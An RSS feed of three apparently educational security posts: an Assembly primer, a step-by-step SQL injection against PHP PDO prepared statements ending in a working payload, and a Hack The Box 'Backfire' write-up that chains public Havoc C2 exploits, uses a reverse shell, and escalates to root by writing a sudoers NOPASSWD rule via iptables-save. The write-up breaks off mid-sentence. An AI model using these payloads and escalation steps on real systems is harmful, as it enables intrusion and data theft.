<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by pythonic01 on Medium]]></title>
        <description><![CDATA[Stories by pythonic01 on Medium]]></description>
        <link>https://medium.com/@jfjbn4?source=rss-f262b6f35880------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-_egflxOHm1DCdyMy42oLQ.png</url>
            <title>Stories by pythonic01 on Medium</title>
            <link>https://medium.com/@jfjbn4?source=rss-f262b6f35880------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:58:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jfjbn4/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[What is assembly ???]]></title>
            <link>https://medium.com/@jfjbn4/what-is-assembly-e831e5e7de62?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/e831e5e7de62</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[assembly-language]]></category>
            <category><![CDATA[low-level-programming]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 15:09:06 GMT</pubDate>
            <atom:updated>2026-07-07T15:12:52.768Z</atom:updated>
            <content:encoded><![CDATA[<p>Most people have conflicting opinions about learning Assembly. They often ask: “Why learn Assembly when modern compilers can generate much better optimized code?”</p><p>It’s a fair question. Compilers today are incredibly smart. So why bother?</p><p>The simple answer is this, Assembly helps you see what the computer is actually doing. Compilers write the code, but Assembly reveals the truth behind it.</p><p>It makes debugging easier because you can understand the real machine instructions when optimized code looks confusing.</p><p>In cybersecurity , it’s even more valuable. Reverse engineering malware, analyzing binaries, and building exploits all depend on reading and writing Assembly.</p><p>Even if you rarely write it, learning Assembly removes the mystery of how programs really work.</p><p>The most important part? You mainly need to learn how to read Assembly, not how to write it perfectly. This skill alone makes debugging easier and unlocks reverse engineering.</p><p>Enjoying reading continues at:</p><p>https://mohe-things.netlify.app/blogs/what-is-assembly</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e831e5e7de62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Does “prepare” statements even secure ??]]></title>
            <link>https://medium.com/@jfjbn4/does-prepare-statements-even-secure-71e0ee2e58a6?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/71e0ee2e58a6</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[funny]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Sun, 07 Dec 2025 12:19:04 GMT</pubDate>
            <atom:updated>2025-12-07T12:19:04.329Z</atom:updated>
            <content:encoded><![CDATA[<h3>Does “prepare” statements even secure ??</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PMHRjRyWYv_wlG5W.png" /></figure><p>If you are a programmer who work with PHP or a hacker surely you have heard about “prepare” statements those who used in PHP Data Objects (PDO). These “prepare” statements intent to be used when ever you tried to do a SQL query and you want to get an input from the user you can not just take it like that right ??.</p><h3>SQL injection.</h3><p>If you are this surely you are aware of SQL injection. Sql injection is just a way for the attacker to add extra query to the original one. Say that you have this.</p><pre>SELECT id FROM users WHERE username = &quot;SOME_INPUT&quot; AND password = &quot;SOME_INPUT&quot;</pre><p>This is an old example but the idea is that if the username or the password that were provided by the user are not checked and sanitized. So PDO is a way to communicate with the database, it facilitate the communication and make it easier so they have implemented a way that enable safe input validation and they call it “prepare”.</p><h3>Problem with prepare.</h3><p>So once i have saw a code that looks like this. In a capture the flag challenge.</p><pre>$sortItem = $_POST[&#39;sort&#39;] ?? $_GET[&#39;sort&#39;] ?? &#39;item_name&#39;;<br>$userId = $_POST[&#39;user_id&#39;] ?? $_GET[&#39;user_id&#39;] ?? $_SESSION[&#39;user&#39;][&#39;id&#39;];<br>$col = &quot;`&quot; . str_replace(&quot;`&quot;, &quot;&quot;, $sortItem) . &quot;`&quot;;<br>$stmt = $pdo-&gt;prepare(&quot;SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC&quot;);<br></pre><p>At first glance you may say hold on there is something wrong. “$col” is used to retrieve the column from the table. Indeed you are smart to find out. Tho there is a small issue. When using prepare statements they only validate which called “bound parameter” those parameter who donated with ‘?’ mark in the SQL statement Ok. So if “$col” is not validated can we do something about it ?. sure we can let’s walk though how you can SQL inject into this secure code.</p><h4>Walking with the error messages.</h4><p>So we going to implement simple project that emulate this process. So we can see what errors the database give us and how we can get something out of this.</p><pre>// view.php<br>&lt;?php<br><br><br>require &quot;db.php&quot;; // include PDO connection<br><br>$user_id = $_POST[&quot;user_id&quot;];<br>$col_u = $_POST[&quot;col&quot;];<br><br><br><br><br>$col = &quot;`&quot; . str_replace(&quot;`&quot;, &quot;&quot;, $col_u) . &quot;`&quot;;<br>error_log(&quot;After parsing $col&quot;);<br><br><br>$sql = &quot;SELECT $col FROM users WHERE id = ?&quot;;<br>$debug_sql = str_replace(&#39;?&#39;, $user_id, $sql);<br>error_log(&quot;Executing query: $debug_sql&quot;);<br><br>$stmt = $pdo-&gt;prepare(&quot;SELECT $col FROM users WHERE id = ?&quot;);<br>$stmt-&gt;execute([$user_id]);<br>$results = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<br><br>if ($results) {<br>    foreach ($results as  $row) {<br>    $firstKey = array_keys($row)[0];<br>        echo htmlspecialchars($row[$firstKey]) . &quot;: &quot; . htmlspecialchars($row[&quot;password&quot;]) . &quot;&lt;br&gt;&quot;;<br>    }<br>} else {<br>    echo &quot;No record found&quot;;<br>}<br><br>?&gt;</pre><pre>// db.php<br><br>&lt;?php<br><br>$host = &quot;localhost&quot;;<br>$dbname = &quot;test&quot;;   // change to your database<br>$username = &quot;pythonic&quot;; <br>$password = &quot;your_password&quot;;<br><br>try {<br>    $pdo = new PDO(&quot;mysql:host=$host;dbname=$dbname;charset=utf8mb4&quot;, $username, $password);<br><br>    // Enable safer error handling<br>    $pdo-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br><br>} catch (PDOException $e) {<br>    die(&quot;Connection failed: &quot; . $e-&gt;getMessage());<br>}</pre><pre>// view.html<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br> &lt;head&gt;<br>  &lt;meta charset=&quot;UTF-8&quot;&gt;<br>  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>  &lt;title&gt;&lt;/title&gt;<br>  &lt;link href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot;&gt;<br> &lt;/head&gt;<br> &lt;body&gt;<br><br><br>  &lt;form method=&quot;POST&quot; action=&quot;view.php&quot;&gt;<br>   &lt;input  name=&quot;user_id&quot; placeholder=&quot;Enter user_id&quot;&gt;<br>   &lt;input  name=&quot;col&quot; placeholder=&quot;Enter column name&quot;&gt;<br>   &lt;button type=&quot;submit&quot;&gt;Save&lt;/button&gt;<br>   <br>  &lt;/form&gt;<br> <br> &lt;/body&gt;<br>&lt;/html&gt;</pre><p>So this is a very simple HTML page just to help us see how we can exploit this.</p><p>First step According to the PDO parser when the parser find a ‘\0’ null byte it will stop the process and will skip the back-ticks. As you can see in the example we show that the $col field has been cleaned to include the back-ticks so that when PDO parse it, it will assume that this is just a table name or a column name. But when encountering ‘\0’ null byte it will skip the back-tick so here we are we getting somewhere let’s see how this would look like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ia1aunNjVT50BLnDnBnARQ.png" /><figcaption>Under normal execution</figcaption></figure><p>So the image above shows that our intend scenario is working just find but wait until we have a null byte in there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFgjSPWhAcZCOxH4By0MPA.png" /><figcaption>Using null byte</figcaption></figure><p>Yeah here we have inserted a null byte with the column name and as we can see the SQL statement became as this.</p><pre>SELECT `password</pre><p>It have trim the remaining of the statement but yeah sure now what is that all ? Sure not.</p><p>So the issue here is that this is incorrect syntax for SQL statement and would not execute so if we add a question mark tying to emulate what PDO is trying to achieve is it going to substitute our argument into the “bound parameter” remember from our example we are providing the “user_id” as bound parameter for the statement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcaUW6jPyeNBGVwCz_F48Q.png" /><figcaption>null byte + Question mark</figcaption></figure><p>Interesting you see the number 3 guess where it came from ???.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UyYWr-nwGUt_zA0m8hR-Rg.png" /></figure><p>From the user_id. So now we know that it going to interpret our ‘?’ as bounded parameter and the error message verify that indicating that we have not provided the require number of bounded parameters. So how can we overcome that simple, Using ‘#’ or ‘ — ‘ will allow us to comment the remaining of the statement and therefor we going to only have one bounded parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qlhkotLjhtW0u97LvIHd2g.png" /><figcaption>using # to comment the statement</figcaption></figure><p>Now we have used ‘%23’ which indicate the char ‘#’ this mean in <strong>marinadb</strong> to comment the remaining of the statement so now it would not find the other bounded parameter therefor we would not have any issue regarding the other bounded parameter and we can inject whatever we want into user_id to be replaced in place of ‘?’ in the col field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RRLQHtfwRhsETpwdDjwNBw.png" /><figcaption>Error message when adding comment</figcaption></figure><p>Next Step now we have achieve this far there is two things we need to worry about if you look at the error message above there is still one back-tick is not closed and also PDO when it replace the bounded parameter it will surround them with single quotes so we also need to escape that. Also one more thing we can not execute any query that include null bytes which we have inserted at the beginning so we also need to take care of that. Let’s do it step by step.</p><h4>Remove the null byte.</h4><p>We all know that in SQL we can use ‘;’ to indicate end of statement and start of new one so if we end out statesmen before the null byte it will consider it as not part of the original command which is our.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*Hg-zf2Oir_rDL6SavZ--dg.png" /><figcaption>after adding ‘;’</figcaption></figure><p>So we can see here we have end the statement let’s see the SQL query how it look like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pSkw3GyoAkEoJMCqDy5C4Q.png" /><figcaption>The statement is terminated</figcaption></figure><p>Cool now when we enter anything it will consider as separate part from the part that include the null byte.</p><h4>Closing Back-Tick.</h4><p>This part is very simple we only need to add closing back-tick after or ‘x’ indicating closing of the column name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78ukPZzZoQV7BZX1ErsWUg.png" /><figcaption>Adding closing back-tick.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pu1Mf7gBQVWQWudBLqeb_g.png" /></figure><h4>Taking care of the single quotes.</h4><p>So this is also very simple. We only need to comment the closing one and to escape the first one. As we comment the null terminate we going to comment this one also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unAg8-yh9350-pSglcooEQ.png" /><figcaption>Adding comment and escape sequence</figcaption></figure><p>As you can see here i have added a comment (%23, #) on the left side but why there, very simple and you going to see it in the error message. And added escape sequence ‘\’ to escape the open single quotes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4y4lbb8NjvuVeOCx1e9RPA.png" /><figcaption>after handling the single quotes</figcaption></figure><p>Basically what happen here adding comment at the end of the user_id parameter helps to terminate the closing single quotes and the start with ‘\’ in the col field helps escaping the starting one as whatever in the user_id is going to be substituted into the col field.</p><h3>And here we have it.</h3><p>In the last error message we can see it only complain about the column that it does not exist in out payload we can treat it as alias to fix this issue so sample exploit would look like this.</p><pre>user_id=name`+FROM+(SELECT+table_name+AS+`&#39;name`+from+information_schema.tables)y;%23&amp;col=\?%23%00</pre><p>using the ‘AS’ keyword we can fix that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w0oK3ZLRk3hmeMm1NPIV-Q.png" /></figure><h3>Closing.</h3><p>At the end of this article i wish it was clear and easy to follow if you have further question do not hesitate to comment out here or reach out to me welcoming everyone.</p><h3>Resources.</h3><p>This is just a detailed explanation from the article here all credits goes to him.</p><p><a href="https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/">Novel SQL Injection Technique in PDO Prepared Statements</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71e0ee2e58a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Backfire | WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/hack-the-box-backfire-writeup-e2821e611163?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2821e611163</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[c2]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Sun, 08 Jun 2025 06:04:23 GMT</pubDate>
            <atom:updated>2025-06-08T06:04:44.744Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Backfire | WriteUp</h3><h3>Introduction.</h3><p>Hello everyone today we are back on new machine Backfire season machine on HTB let’s get right into it.</p><h3>Enumeration.</h3><h4>Port scanning</h4><p>PORT STATE SERVICE REASON VERSION</p><pre>22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)<br>| ssh-hostkey:<br>| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=<br>| 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8<br>443/tcp open ssl/http syn-ack ttl 63 nginx 1.22.1<br>|_ssl-date: TLS randomness does not represent time<br>|_http-title: 404 Not Found<br>| ssl-cert: Subject: commonName=127.0.0.1/organizationName=SYNERGY/stateOrProvinceName=California/countryName=US/streetAddress=/localityName=Los Angeles/postalCode=7072<br>| Subject Alternative Name: IP Address:127.0.0.1<br>| Issuer: commonName=127.0.0.1/organizationName=SYNERGY/stateOrProvinceName=California/countryName=US/streetAddress=/localityName=Los Angeles/postalCode=7072<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024–06–04T02:56:35<br>| Not valid after: 2027–06–04T02:56:35<br>| MD5: 825e:069a:f26f:23b8:581e:b758:e183:45b0<br>| SHA-1: 0584:d0ed:4d19:5049:9c58:b892:2a8b:b89a:62c3:07f2<br>| - - -BEGIN CERTIFICATE - - -<br>| MIID7DCCAtSgAwIBAgIQejL515JPEfZZ+s+iRljFBzANBgkqhkiG9w0BAQsFADB4<br>| MQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9z<br>| IEFuZ2VsZXMxCTAHBgNVBAkTADENMAsGA1UEERMENzA3MjEQMA4GA1UEChMHU1lO<br>| RVJHWTESMBAGA1UEAxMJMTI3LjAuMC4xMB4XDTI0MDYwNDAyNTYzNVoXDTI3MDYw<br>| NDAyNTYzNVoweDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFDAS<br>| BgNVBAcTC0xvcyBBbmdlbGVzMQkwBwYDVQQJEwAxDTALBgNVBBETBDcwNzIxEDAO<br>| BgNVBAoTB1NZTkVSR1kxEjAQBgNVBAMTCTEyNy4wLjAuMTCCASIwDQYJKoZIhvcN<br>| AQEBBQADggEPADCCAQoCggEBAJRUr26zDQeev0P3+gdZu2TEd7LgDjtJNS03jpBD<br>| ANBHb2Qcrg3m1n/e/SZUHULBNfyZaMcJPGXnHGLCEAo9c0L0oONZkKBukEZnXy25<br>| Du+oURjxAYDfOpz7P5hsbvYC3J4SYj++0ROM83pkeTumR7lll4b81Bb+33009cio<br>| aas4XM1r0xC3S4opQy3WG5XBMUBSl8SvJtl+tZIznHkhfgNdyY22gkkj99+bSo7k<br>| 3uSWMgZhyIYtwtA7nmL+wbiExqBPG+uePnf0a3eGSJxoZGYN5zEmxQnrIMvsLf/9<br>| Gl6Buo+a8N9gAcpfI+iTEkolnESP78E28JwCcrJlF+XqsysCAwEAAaNyMHAwDgYD<br>| VR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAPBgNV<br>| HRMBAf8EBTADAQH/MB0GA1UdDgQWBBQ0j0foTTfXanFPUaxabyepSJpG3DAPBgNV<br>| HREECDAGhwR/AAABMA0GCSqGSIb3DQEBCwUAA4IBAQA0LdgMcA2F9Z9oMaARdDrB<br>| eiRKkF8jr4CHyPzqAZ9EokVPc+Ua+kWykGp/grEP8WIIO4RIJxjO7aZ0xRVL2Mb9<br>| 8e6QckMFEeakTsTmHhttIPT+e6p0r8zObCDSGJg6VyjIKx3Q9NOIffgj95SPYls8<br>| sk4WpfiMywLvvsoqAsdxpddglXabOLGzCWhIdPBNRK3Niz6SHgzQwAWlemZA/2Lc<br>| lcfHdcskVtbO5PlO+SflduSTKDKr7reCxYINwkJB04cZ+fms6F2gH1g/WUiO60Al<br>| C06zO0T8SYUd+CH44KfFD/QyXtNseFjrNY88cIUO5CL4SS6A7GEb+PBlkHZmjn7u<br>|_ - - -END CERTIFICATE - - -<br>| tls-alpn:<br>| http/1.1<br>| http/1.0<br>|_ http/0.9<br>|_http-server-header: nginx/1.22.1<br>8000/tcp open http syn-ack ttl 63 nginx 1.22.1<br>| http-methods:<br>|_ Supported Methods: GET HEAD POST<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-title: Index of /<br>|_http-server-header: nginx/1.22.1<br>| http-ls: Volume /<br>| SIZE TIME FILENAME<br>| 1559 17-Dec-2024 11:31 disable_tls.patch<br>| 875 17-Dec-2024 11:34 havoc.yaotl<br>|_</pre><p>So as we can see we have HTTP[s] and SSH let’s start with HTTP as it shows some files there.</p><p>Hmmm so we have Havoc.yaotl file and disable_tls.patch let’s see what they contain.</p><h4>Disable.tls.patch</h4><pre>Disable TLS for Websocket management port 40056, so I can prove that<br>sergej is not doing any work<br>Management port only allows local connections (we use ssh forwarding) so<br>this will not compromize our teamserver<br>diff - git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc<br>index abdf1b5..6be76fb 100644<br> - - a/client/src/Havoc/Connector.cc<br>+++ b/client/src/Havoc/Connector.cc<br>@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )<br>{<br>Teamserver = ConnectionInfo;<br>Socket = new QWebSocket();<br>- auto Server = &quot;wss://&quot; + Teamserver-&gt;Host + &quot;:&quot; + this-&gt;Teamserver-&gt;Port + &quot;/havoc/&quot;;<br>+ auto Server = &quot;ws://&quot; + Teamserver-&gt;Host + &quot;:&quot; + this-&gt;Teamserver-&gt;Port + &quot;/havoc/&quot;;<br>auto SslConf = Socket-&gt;sslConfiguration();<br>/* ignore annoying SSL errors */<br>SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );<br>- Socket-&gt;setSslConfiguration( SslConf );<br>Socket-&gt;ignoreSslErrors();<br>QObject::connect( Socket, &amp;QWebSocket::binaryMessageReceived, this, [&amp;]( const QByteArray&amp; Message )<br>diff - git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go<br>index 9d1c21f..59d350d 100644<br> - - a/teamserver/cmd/server/teamserver.go<br>+++ b/teamserver/cmd/server/teamserver.go<br>@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {<br>}<br>// start the teamserver<br>- if err = t.Server.Engine.RunTLS(Host+&quot;:&quot;+Port, certPath, keyPath); err != nil {<br>+ if err = t.Server.Engine.Run(Host+&quot;:&quot;+Port); err != nil {<br>logger.Error(&quot;Failed to start websocket: &quot; + err.Error())<br>}</pre><p>From this message we can understand that whom ever did this patch trying to set MR. sergej up by disabling the secure web socket in the internal network hmm.</p><h4>havoc.yaotl</h4><pre>Teamserver {<br>    Host = &quot;127.0.0.1&quot;<br>    Port = 40056<br><br>    Build {<br>        Compiler64 = &quot;data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc&quot;<br>        Compiler86 = &quot;data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc&quot;<br>        Nasm = &quot;/usr/bin/nasm&quot;<br>    }<br>}<br><br>Operators {<br>    user &quot;ilya&quot; {<br>        Password = &quot;CobaltStr1keSuckz!&quot;<br>    }<br><br>    user &quot;sergej&quot; {<br>        Password = &quot;1w4nt2sw1tch2h4rdh4tc2&quot;<br>    }<br>}<br><br>Demon {<br>    Sleep = 2<br>    Jitter = 15<br><br>    TrustXForwardedFor = false<br><br>    Injection {<br>        Spawn64 = &quot;C:\\Windows\\System32\\notepad.exe&quot;<br>        Spawn32 = &quot;C:\\Windows\\SysWOW64\\notepad.exe&quot;<br>    }<br>}<br><br>Listeners {<br>    Http {<br>        Name = &quot;Demon Listener&quot;<br>        Hosts = [<br>            &quot;backfire.htb&quot;<br>        ]<br>        HostBind = &quot;127.0.0.1&quot; <br>        PortBind = 8443<br>        PortConn = 8443<br>        HostRotation = &quot;round-robin&quot;<br>        Secure = true<br>    }<br>}</pre><p>And this is havoc file what is havoc ???</p><p>Havoc is a modern and malleable post-exploitation command and control framework</p><p>Havoc is a C2 server which used in the post-exploitation phase to remain persistence on network.</p><h4>Looking at HTTPs.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*26_E1GE7Z9umv4sX" /></figure><p>Https Seems to does not have anything let’s try to figure more into the first files we found first.</p><h4>finds</h4><p>after a bit of searching the HTTP does not seem to have anything other than the files and there is probably Hovac end point accessible according to what i have red about havoc frame work</p><p>while am searching i found this repo</p><p><a href="https://github.com/chebuya/Havoc-C2-SSRF-poc">GitHub - chebuya/Havoc-C2-SSRF-poc: CVE-2024-41570: Havoc C2 0.7 Teamserver SSRF exploit</a></p><p>Which explain SSRF exploit in the havoc framework so i decide to test it and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FyOQ2Q5ByASnyrYx" /></figure><p>So as we can see here the exploit is a bit complicated but the border line is that it create a socket through the facing interface and using proxy (I think) it redirect our traffic from to the internal machine and there fore we can access internal machine thing that’s how we get connection from the target machine. To better explanation and correct info refer to the blog below from the exploit created and one of the machine creators.</p><p><a href="https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/">Unauthenticated SSRF on Havoc C2 teamserver via spoofed demon agent (CVE-2024-4157)</a></p><p>But getting just SSRF would not help so much we maybe able to find another one which i have came across while am reading about this.</p><p><a href="https://github.com/IncludeSecurity/c2-vulnerabilities/tree/main/havoc_auth_rce">c2-vulnerabilities/havoc_auth_rce at main · IncludeSecurity/c2-vulnerabilities</a></p><p>This exploit using some crafted request is able to execute commands on the server but there is an issue when i try to exploit it i got “Connection Refused”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Xw4qI-qe5YFfoLyE" /></figure><p>So i think there is a way to combing the SSRF and this exploit the get command execution on the server. Because that SSRF exploit allow us to connect socket though the server what if we can instead of write anything into the socket we write this exploit at least this what i think.</p><p>Then i found this repo who implemented combining both exploits.</p><p><a href="https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE">GitHub - sebr-dev/Havoc-C2-SSRF-to-RCE: This is a modified version of the CVE-2024-41570 SSRF PoC from @chebuya chained with the auth RCE exploit from @hyperreality. This exploit executes code remotely to a target due to multiple vulnerabilities in Havoc C2 Framework. (https://github.com/HavocFramework/Havoc)</a></p><p>So after going through the exploits one by one we are able to get RCE on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MqDaCdh51fsl6lWa" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/0*cNtmgIMLNnojFh4Y" /></figure><p>As you can see in the image above we are able to get shell access on the machine amazing foothold.</p><p>After that i created SSH key because it keep disconnecting for some reason.</p><pre>First we run the following command.<br>ssh-keygen -f ilya<br><br>Then in ilya home directory will be 2 keys<br>ilya -&gt; private key<br>ilya.pub -&gt; public key<br><br>then we move the public key into the authorized_keys file in .ssh folder<br>cat ilya.pub -&gt; .ssh/authorized_keys<br><br>and we just copy and paste the private key into our machine change it premissions to<br>600<br><br>and use the following command to connect to ssh.<br>ssh -i &lt;keyName&gt; ilya@backfire</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G1Dkqcl2Sx1RCaUT" /></figure><h3>Shell as sergej.</h3><p>so when we get access with ilya we can see a note and a script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*svVAE6ZVuo25OGX8" /></figure><p>The python script basically create new user using the default key for JWT using the admin user and then create new user for us.</p><p>but i when we attempt to run the script it give us error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*Oha0xLS13P7Io-O-" /></figure><p>so i decide to move the file into my machine and then using SSH i create port forwarding to port 5000 which runs the hardhat server.</p><p>here a picture for the other port which use for the web interface for hardhat C2. so i forward both.</p><p>after i did so i install the pyjwt from pip to run the script. After running the script it will generate JWT token and will generate new user we can use that user to login via the web interface both username and password uses the same thing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FyCaM_n5f_lKeZP4" /></figure><p>From here we click on interact will take us to this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X5TYhYAYk-eiQ8ls" /></figure><p>we choose terminal and we can run any command as the user sergej so we can use reverse shell and get shell as the user sergej.</p><p><a href="https://www.revshells.com/">Online - Reverse Shell Generator</a></p><p>from here you can generate reverse shell.</p><p>and same steps set up listener and i created ssh connection same steps as before you can stick with the netcat connection if you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-A411pt4IGd8YXCF" /></figure><h3>Shell as Root.</h3><p>So once i got access to the sergej user i tried to check around few things i notice.</p><p>First i attempt to change the iptables roles allowing the C2 Hardhat server to be publicly accessible but i notice something after a while the configurations has changed to the default configurations so i used pspy64 to check the process that being executed.</p><p>Initially, I modified the iptables rules to allow the C2 Hardhat server to be publicly accessible. However, I noticed that after some time, the configurations reverted to their default settings. To investigate further, I used pspy64 to monitor the processes being executed.</p><pre>To view ip tables entries<br>iptables -L -v -n<br><br>to change one of the entries.<br>sudo iptables -D INPUT -p tcp - dport 5000 -j REJECT</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0bne-oNtPxyx4sqn" /></figure><p>and here we are we can see few noticeable things such the replacement of the passwd file and the cron jobs also we can see why the iptables precest and does not change by using the iptables-restore. the first thing i think about was to modifies the passwd.bak file which as you may guess is not possible as it only allow reading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/0*owTxUputHHJHDZA-" /></figure><p>So after a bit of search i found this blog.</p><p><a href="https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/">Shielder - A Journey From `sudo iptables` To Local Privilege Escalation</a></p><p>Which explain a way to override files using iptables-save which we have sudo permission on it.</p><p>So from the blog we can see that using iptables-save -f [some file] will write everything in the iptables-save into the file what exist on there is the same as the preiouse iptables command to check the entries.</p><blockquote>iptables -L -v -n</blockquote><p>with that there are to things in mind first i tryed to add entry to the passwd file as follow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h9SPIMCfYHxvvlVd" /></figure><p>But this actually does not work as we do not have permission to write to the passwd file. even via iptables-save</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/0*jHNTb99XvjZMcQtr" /></figure><p>But wait we have another entry to the passwd file via the passwd.bak file. so i tried to add it to the passwd.bak file hoping it would copy it to the passwd file therefor i will get root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NH6f_XZPUl4Sx3_-" /></figure><p>But unfortunately no luck i believe this is the correct way but i maybe doing something wrong so is this the only why ???.</p><p>Of course not another thing that i think about when i know we can have write access to any file is to change the permission of the sudo command for the user sergej. But how can we do that</p><p>The user sergej now have root execution on iptables and iptables-save with no password. And how it that basically configure via file called sudoers file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J_6zQAGew0XC--Od" /></figure><p>here we can specify what access for each user using the sudo command so can we allow our user sergej to have access to everything as root with no password YES !.</p><blockquote>using this command we can allow that</blockquote><blockquote>username ALL=(ALL) NOPASSWD:ALL</blockquote><p>First thing i added my command to the iptables-save entry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oqX16TaMmCLWyPDM" /></figure><blockquote>Keep in mind to prefix with ‘\n’ and end it with ‘\n’ to put our command in new line so it can</blockquote><blockquote>be parsable even if the others gives errors this still will take effect.</blockquote><p>Then 